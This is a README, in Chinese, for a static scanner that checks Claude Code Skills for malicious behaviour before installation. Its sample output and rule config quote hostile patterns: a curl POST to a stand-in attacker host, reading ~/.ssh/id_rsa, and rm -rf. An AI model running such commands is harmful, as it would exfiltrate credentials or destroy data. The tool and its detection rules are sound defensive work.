Skill-Security-Scanner

🔍 Claude Skills 安全扫描工具 - 保护你的开发环境

English Documentation | 中文文档

📖 简介

skill-security-scan 是一个命令行工具，用于扫描和检测 Claude Skills 的安全风险。在安装第三方 Skills 前，使用此工具进行安全审查，有效防止恶意代码窃取数据或破坏系统。

本项目由 WellAlly Technology 开发者发起并维护，致力于为开发者社区提供安全可靠的工具。

⚠️ 为什么需要 skill-security-scan？

在本地 Claude Code 中使用 Skills 存在以下安全风险：

1. 完整文件系统访问 - Skills 可以读取任意文件，包括 SSH 密钥、API 密钥等
2. 网络访问能力 - Skills 可以向外部服务器发送数据
3. 脚本执行权限 - Skills 可以执行任意系统命令
4. 依赖破坏 - Skills 可能修改全局依赖，破坏其他项目

✨ 特性

• 🔍 全面安全检测 - 网络、文件、命令、代码注入等多维度检测
• 🎯 智能风险评分 - 自动计算风险分数和等级
• 🎨 多种输出格式 - HTML 报告（默认）、彩色终端、JSON 报告
• 🌍 国际化支持 - 支持中文和英文界面
• 📁 智能路径扫描 - 自动扫描 .claude/skills/ 目录和当前目录
• ⚙️ 灵活配置 - 自定义规则、白名单管理
• 🚀 高性能 - 快速扫描大型项目

🚀 快速开始

安装

# 克隆仓库
git clone https://github.com/huifer/skill-security-scan
cd skill-security-scan

# 安装包（可编辑模式）
pip install -e .

# 或使用 pip 直接安装
pip install skill-security-scan

基本使用

# 扫描当前目录和 .claude/skills/（默认行为）
skill-security-scan scan

# 扫描指定路径（仍会自动包含 .claude/skills/）
skill-security-scan scan /path/to/skill

# 扫描并生成指定名称的 HTML 报告
skill-security-scan scan --output my_report.html

# 生成 JSON 报告
skill-security-scan scan --format json --output report.json

# 仅控制台输出（不生成 HTML 文件）
skill-security-scan scan --format console

# 使用自定义规则
skill-security-scan scan --rules custom-rules.yaml

# 只显示严重问题
skill-security-scan scan --severity CRITICAL

# 使用英文界面
skill-security-scan scan --lang en_US

📋 命令选项

skill-security-scan scan [OPTIONS] [PATHS]...

Options:
  -r, --recursive         递归扫描子目录
  -o, --output FILE       输出报告文件（HTML 默认自动生成文件名）
  -f, --format FORMAT     报告格式 [console|json|html]（默认: html）
  --rules FILE            自定义规则文件
  --severity LEVEL        最低显示级别 [CRITICAL|WARNING|INFO]（默认: INFO）
  --no-color              禁用彩色输出
  --fail-on LEVEL         遇到指定级别错误时退出码非0
  --lang LANG             界面语言 [zh_CN|en_US]（默认: zh_CN）

Arguments:
  PATHS                   要扫描的路径（可选，默认扫描当前目录和 .claude/skills/）

说明:

• 未指定路径时，默认扫描当前目录（.）和 .claude/skills/ 目录
• 指定路径时，仍会自动扫描 .claude/skills/ 目录（如果存在）
• HTML 格式为默认输出，会自动生成带时间戳的文件名（如 skill_scan_report_20231229_113252.html）
• 控制台始终会显示扫描摘要，无论使用何种报告格式

🎯 检测规则

🔴 CRITICAL (严重)

• NET001: 外部网络请求到非官方域名
• FILE001: 访问敏感文件（SSH 密钥、.env 等）
• FILE002: 危险文件操作（rm -rf /, chmod 777）
• CMD001: 执行危险系统命令（sudo, dd）
• INJ001: 代码注入模式
• INJ003: 后门植入

🟡 WARNING (警告)

• CMD002: 系统命令调用（os.system, subprocess）
• INJ002: 动态代码执行（eval, exec）
• DEP001: 全局包安装
• DEP002: 强制版本覆盖

🔵 INFO (提示)

• 代码混淆模式
• 隐藏命令

📊 输出示例

HTML 报告（默认）

默认生成美观的 HTML 报告，包含：

• 📊 可视化风险仪表板
• 🔍 可按严重级别筛选的问题列表
• 📈 交互式图表和统计
• 📱 响应式设计，支持移动端查看
• 🌍 中英文界面自动切换

HTML 报告会在浏览器中打开，方便详细审查和分析。

控制台输出

[*] 扫描 Skills:
  - /path/to/skill
  - .claude\skills

[!] Risk Level: CRITICAL (10.0/10)

[!] CRITICAL 问题 (67 个):
  [NET001] in SKILL.md:15
    Pattern: curl -X POST https://attacker-server.com/collect
    Confidence: 高

  [FILE001] in scripts/setup.sh:8
    Pattern: cat ~/.ssh/id_rsa
    Confidence: 高

  [CMD001] in SKILL.md:23
    Pattern: rm -rf /tmp/*
    Confidence: 中

[*] WARNING 问题 (61 个):
  [CMD002] in SKILL.md:46
    Pattern: os.system("unknown command")
    Confidence: 中
  还有 57 个

[*] 摘要:
  Total Files Scanned: 7
  Critical Issues: 67
  Warning Issues: 61
  Info Issues: 0
  Total Issues: 128

[*] 建议: 请勿使用 - 检测到严重安全风险

Report saved to: skill_scan_report_20231229_113252.html

⚙️ 配置

规则配置

编辑 config/rules.yaml 来自定义检测规则：

network_rules:
  - id: NET001
    name: "外部网络请求"
    severity: CRITICAL
    patterns:
      - "curl\\s+.*http"
      - "wget\\s+"
    description: "检测到向外发送数据的网络请求"
    allowed_domains:
      - "api.anthropic.com"
      - "github.com"

白名单管理

# 添加规则到白名单
skill-security-scan whitelist add NET001

# 查看白名单
skill-security-scan whitelist list

# 从白名单移除
skill-security-scan whitelist remove NET001

🧪 测试

# 运行测试
pytest tests/

# 运行测试并覆盖
pytest tests/ --cov=src --cov-report=html

📦 打包成可执行文件

项目可以使用 PyInstaller 打包成独立的可执行文件，无需安装 Python 环境即可运行。

打包步骤

1. 安装 PyInstaller

pip install pyinstaller

2. 执行打包命令

# 使用项目中的 spec 文件打包
pyinstaller skill-security-scan.spec --clean

3. 获取可执行文件

打包完成后，可执行文件位于 dist/skill-security-scan.exe（Windows）或 dist/skill-security-scan（Linux/macOS）。

文件大小约 10MB，包含了所有必要的依赖和配置文件。

使用可执行文件

# 直接运行，无需安装 Python
./dist/skill-security-scan.exe --help

# 扫描目录
./dist/skill-security-scan.exe scan /path/to/skill

# 生成报告
./dist/skill-security-scan.exe scan --output report.html

打包文件说明

• skill-security-scan.spec - PyInstaller 配置文件

  • 定义了打包入口点为 standalone_cli.py
  • 包含了 config/*.yaml 配置文件
  • 包含了整个 src/ 目录
  • 设置了 UTF-8 编码支持，解决 Windows 中文显示问题

• standalone_cli.py - 可执行文件入口点

  • 处理 PyInstaller 打包后的路径问题
  • 使用 runpy.run_module() 执行 CLI 模块
  • 自动修复 Windows 控制台编码问题

• dist/skill-security-scan.exe - 最终可执行文件

  • 可独立运行，无需 Python 环境
  • 支持所有 CLI 功能
  • 可直接复制到其他机器使用

跨平台打包

# Windows
pyinstaller skill-security-scan.spec --clean

# Linux/macOS
pyinstaller skill-security-scan.spec --clean

注意：可执行文件需要在目标操作系统上打包，或使用对应的虚拟环境打包。

📁 项目结构

skill-security-scan/
├── src/
│   ├── scanner/        # 扫描引擎
│   ├── rules/          # 安全规则
│   ├── reporters/      # 报告生成器（Console, JSON, HTML）
│   ├── i18n/           # 国际化文件（中文、英文）
│   ├── config_loader.py # 配置加载器
│   ├── rules_factory.py # 规则工厂
│   └── cli.py          # 命令行接口
├── config/             # 配置文件
│   ├── rules.yaml      # 安全检测规则
│   └── whitelist.yaml  # 白名单配置
├── tests/              # 测试用例
│   ├── skills/         # 测试用 Skills
│   └── test_*.py       # 单元测试
├── examples/           # 示例 Skills
└── docs/               # 文档

🔒 安全性

• ✅ 只进行静态分析，不执行 Skill 代码
• ✅ 输入路径验证，防止路径遍历
• ✅ 资源使用限制（CPU、内存）
• ✅ 规则签名验证

🤝 贡献

欢迎贡献！请查看 CONTRIBUTING.md 了解详情。

1. Fork 本仓库
2. 创建特性分支 (git checkout -b feature/AmazingFeature)
3. 提交更改 (git commit -m 'Add some AmazingFeature')
4. 推送到分支 (git push origin feature/AmazingFeature)
5. 开启 Pull Request

📄 许可证

MIT License - 查看 LICENSE 文件了解详情

🙏 致谢

• 感谢所有贡献者
• 感谢 Anthropic 提供 Claude Code 平台

📮 联系方式

• 问题反馈: GitHub Issues
• 邮箱: huifer97@163.com
• 网站: https://www.wellally.tech/

⚠️ 免责声明: 此工具不能保证 100% 检测所有安全风险。请始终谨慎使用第三方 Skills，并在隔离环境中测试。

📚 相关文档

• 技术论文 (中文) - 系统架构与实现详解
• Technical Paper (English) - Architecture and Implementation
• 安全分析 (中文) - Skills 生态安全风险评估
• Security Analysis (English) - Security Risk Assessment
• 工作流程图 - 业务执行逻辑详解

中文文档 | English Documentation